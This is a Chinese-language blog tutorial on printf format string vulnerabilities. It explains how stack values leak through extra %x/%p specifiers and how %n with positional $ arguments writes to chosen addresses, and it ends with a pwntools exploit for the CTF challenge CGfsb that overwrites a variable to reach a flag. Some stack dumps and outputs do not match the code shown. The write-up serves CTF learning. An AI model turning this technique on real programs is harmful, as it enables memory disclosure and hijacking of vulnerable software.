詳解格式化字串漏洞利用
? 最近看了很多格式化字串漏洞利用的文章,發現寫得都差那么點意思,所以決定自己寫一篇,結合實體,好好地把這個知識點捋一捋,
1、漏洞產生原理
? 對于一般的函式而言,應該按照cdecl (C Declaration) 函式呼叫規定把函式的引數從右到左依次壓堆疊,**但是printf并不是一般的函式,它是C語言中少有的支持可變引數的庫函式,所以,在被呼叫之前,被呼叫者無法知道函式呼叫之前有多少個引數被壓入堆疊中,所以printf函式要求傳入一個format引數以指定引數的數量和型別,然后printf函式就會嚴格的按照format引數所規定的格式逐個從堆疊中取出并輸出引數,**那么,可供選擇的輸出格式有哪些呢?
-
%d 以十進制整數的格式輸出
-
%s 以字串的的格式輸出
-
%x 以十六進制數的格式輸出
-
%c 以字符的格式輸出
-
%p 以指標的格式輸出
-
%n 到目前為止所輸出的字符數(把一個int值寫到指定的地址去)
讓我們看一眼示例代碼:
#include <stdio.h>
int main()
{
printf("%s %d %d %d %d","num",1,2,3,4);
return 0;
}
如果正常運行上述程式的話,匯編代碼主體是這樣的:
0x000011ad <+20>: add eax,0x2e53
0x000011b2 <+25>: sub esp,0x8
0x000011b5 <+28>: push 0x4
0x000011b7 <+30>: push 0x3
0x000011b9 <+32>: push 0x2
0x000011bb <+34>: push 0x1
0x000011bd <+36>: lea edx,[eax-0x1ff8]
0x000011c3 <+42>: push edx
0x000011c4 <+43>: lea edx,[eax-0x1ff4]
0x000011ca <+49>: push edx
0x000011cb <+50>: mov ebx,eax
0x000011cd <+52>: call 0x1030 <printf@plt>
此時堆疊里的內容
00:0000│ esp 0xffffd190 —? 0x5655700c ?— '%d %d %d %d %s %x %x'
01:0004│ 0xffffd194 —? 0x56557008 ?— 0x6d756e /* 'num' */
02:0008│ 0xffffd198 ?— 0x1
03:000c│ 0xffffd19c ?— 0x2
04:0010│ 0xffffd1a0 ?— 0x3
05:0014│ 0xffffd1a4 ?— 0x4
06:0018│ 0xffffd1a8 —? 0xffffd27c —? 0xffffd452 ?— 'SHELL=/bin/bash'
07:001c│ 0xffffd1ac —? 0x565561ad (main+20) ?— add eax, 0x2e53
此時,一個大膽的想法浮現到了腦海中:如果我給出的format引數的個數大于待輸出的引數數量會發生什么事情呢?
示例代碼:
#include <stdio.h>
int main()
{
printf("%s %d %d %d %d %x %x","num",1,2,3,4);
return 0;
}
匯編代碼主體:
0x000011ad <+20>: add eax,0x2e53
0x000011b2 <+25>: sub esp,0x8
0x000011b5 <+28>: push 0x4
0x000011b7 <+30>: push 0x3
0x000011b9 <+32>: push 0x2
0x000011bb <+34>: push 0x1
0x000011bd <+36>: lea edx,[eax-0x1ff8]
0x000011c3 <+42>: push edx
0x000011c4 <+43>: lea edx,[eax-0x1ff4]
0x000011ca <+49>: push edx
0x000011cb <+50>: mov ebx,eax
0x000011cd <+52>: call 0x1030 <printf@plt>
堆疊:
00:0000│ esp 0xffffd190 —? 0x5655700c ?— '%d %d %d %d %s %x %x'
01:0004│ 0xffffd194 —? 0x56557008 ?— 0x6d756e /* 'num' */
02:0008│ 0xffffd198 ?— 0x1
03:000c│ 0xffffd19c ?— 0x2
04:0010│ 0xffffd1a0 ?— 0x3
05:0014│ 0xffffd1a4 ?— 0x4
06:0018│ 0xffffd1a8 —? 0xffffd27c —? 0xffffd44e ?— 'SHELL=/bin/bash'
07:001c│ 0xffffd1ac —? 0x565561ad (main+20) ?— add eax, 0x2e53
運行結果:
1 2 3 33 test 1a1390 4013e8
--------------------------------
Process exited after 0.01398 seconds with return value 0
雖然我們給了7個格式化輸出的引數,但是實際壓入堆疊中的引數只有5個,所以,printf會輸出兩個本不應該輸出的地址內容,借助這個漏洞,我們就泄露出了堆疊中的資料,
2、漏洞利用
1).泄露任意地址內容
我們借助攻防世界一道題(CGfsb)來理解這個知識點
下面是使用IDA得到的偽代碼主體
01| puts("please tell me your name:");
02| read(0, &v5, 0xAu);
03| puts("leave your message please:");
04| fgets((char *)&v8, 100, stdin);
05| printf("hello %s", &v5);
06| puts("your message is:");
07| printf((const char *)&v8);
08| if ( pwnme == 8 )
09| {
10| puts("you pwned me, here is your flag:\n");
11| system("cat flag");
12| }
13| else
14| {
15| puts("Thank you!");
16| }
看到第7行,printf輸出了在前面輸入的v8變數,但是并沒有給出任何格式化引數,所以我們可以通過構造v8的值來讓printf誤以為程式給出了格式化引數,從而乖乖的按照我們的意思輸出我們所需的值,
運行效果:
Starting program: /root/pwn resources/gongfang/CGfsb_print_f
please tell me your name:
aaaa
leave your message please:
AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
hello aaaa
your message is:
AAAA0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1 0xf7fcb410 0x61610001 0xa6161 (nil) 0x41414141 0x25207025 0x70252070 0x20702520 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025
Thank you!
[Inferior 1 (process 622877) exited normally]
顯然,程式泄露出了我們想要知道的printf函式的堆疊幀中輸出字串后19個記憶體單元的值,理論上來說,我們可以使用這個漏洞來進行任意讀堆疊中的值(沒錯又是這種為所欲為的快樂)
2).修改任意地址值
也許有人看到這個標題可能會覺得很疑惑,為什么printf還能進行寫入操作?
任意地址寫就要用到上面說的%n了,示例如下:
int main(void)
{
int c = 0;
printf("the usage of %n", &c);
printf("c = %d\n", c);
return 0;
}
這個程式的輸出值會是"c = 13"
就是說**%n引數把他前面輸出的字符數賦值給了變數c**
那么,我們只要更改c所對應堆疊中的地址不就可以把我們想要的數值賦給對應地址了嗎?
也許到這一步你有點不能理解,沒關系,我們來看堆疊的結構
| printf函式堆疊頂 |
|---|
| 格式化輸出引數(%d %x %s %n) |
| 待輸出引數1(%d格式) |
| 待輸出引數2(%x格式) |
| 待輸出引數3(%s格式) |
| 待賦值引數4(地址) |
| printf函式堆疊底 |
| 先前呼叫的函式堆疊頂** |
| … |
| … |
| … |
就是說,我們把先前輸出字符的總長度賦值給了引數4所對應的地址,也就是說,我們只要控制前面輸出的長度就可以控制該引數所對應地址的值了,
但是,問題又來了,我們怎么控制引數4的值呢?
這就需要用到printf的另外一個特性:$運算子,這個運算子可以輸出指定位置的引數,
就是說,假如格式化輸出引數是“%6$n”的話,就把之前輸出的長度賦值給printf函式的第6個引數,但是printf函式根本不知道自己的堆疊有多大,所以我們只需要把這個偏移數值定位到我們能夠修改的記憶體空間,比如說題目中的v8變數所在地址就可以了~
那么題目中的偏移量是多少呢?
我們看前面構造的偷看任意位置記憶體空間的輸入運行結果:
AAAA 0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1 0xf7fcb410 0x61610001 0xa6161 (nil) 0x41414141 0x25207025 0x70252070 0x20702520 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025
看到‘0x41414141‘,就是我們輸入的AAAA,也就是說,我們能控制的記憶體空間相對位置在printf函式的第10個引數位置(其實printf函式根本沒有這么多個引數,只不過他自己并不知道)(10是怎么來的?從AAAA到0x41414141還有九個輸出值,所以v8在相對第十個引數位置)
所以我們就可以構造我們的exp了!!!
from pwn import *
r = process("./CGfsb")
pwnme_addr = 0x0804A068 #pwnme地址在偽代碼中雙擊查看
payload = p32(pwnme_addr) + 'aaaa' + '%10$n' #pwnme的地址需要經過32位編碼轉換,是四位,而pwnme需要等于8,所以‘aaaa’起著湊字數的作用,使得
r.recvuntil("please tell me your name:\n")
r.sendline('aaaa')
r.recvuntil("leave your message please:\n")
r.sendline(payload)
r.interactive()
這篇文章查資料以及碼字一共花了兩天,期間問了相當多大佬,但始終沒能得到自己想要的答案,最后還是靠著自己對匯編的理解以及函式的特性碼出了這篇文章,果然,一入pwn門深似海,從此頭發是路人,如果對看完文章的你有幫助,不妨點一波贊支持支持頭皮發涼的我唄【手動滑稽】
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/233980.html
標籤:其他
上一篇:JVM
下一篇:Github進不去(已解決)hosts 檔案修改不了(已解決)網址為 https___github.com_ 的網頁可能暫時無法連接,或者它已永久性地移動到了新網址。
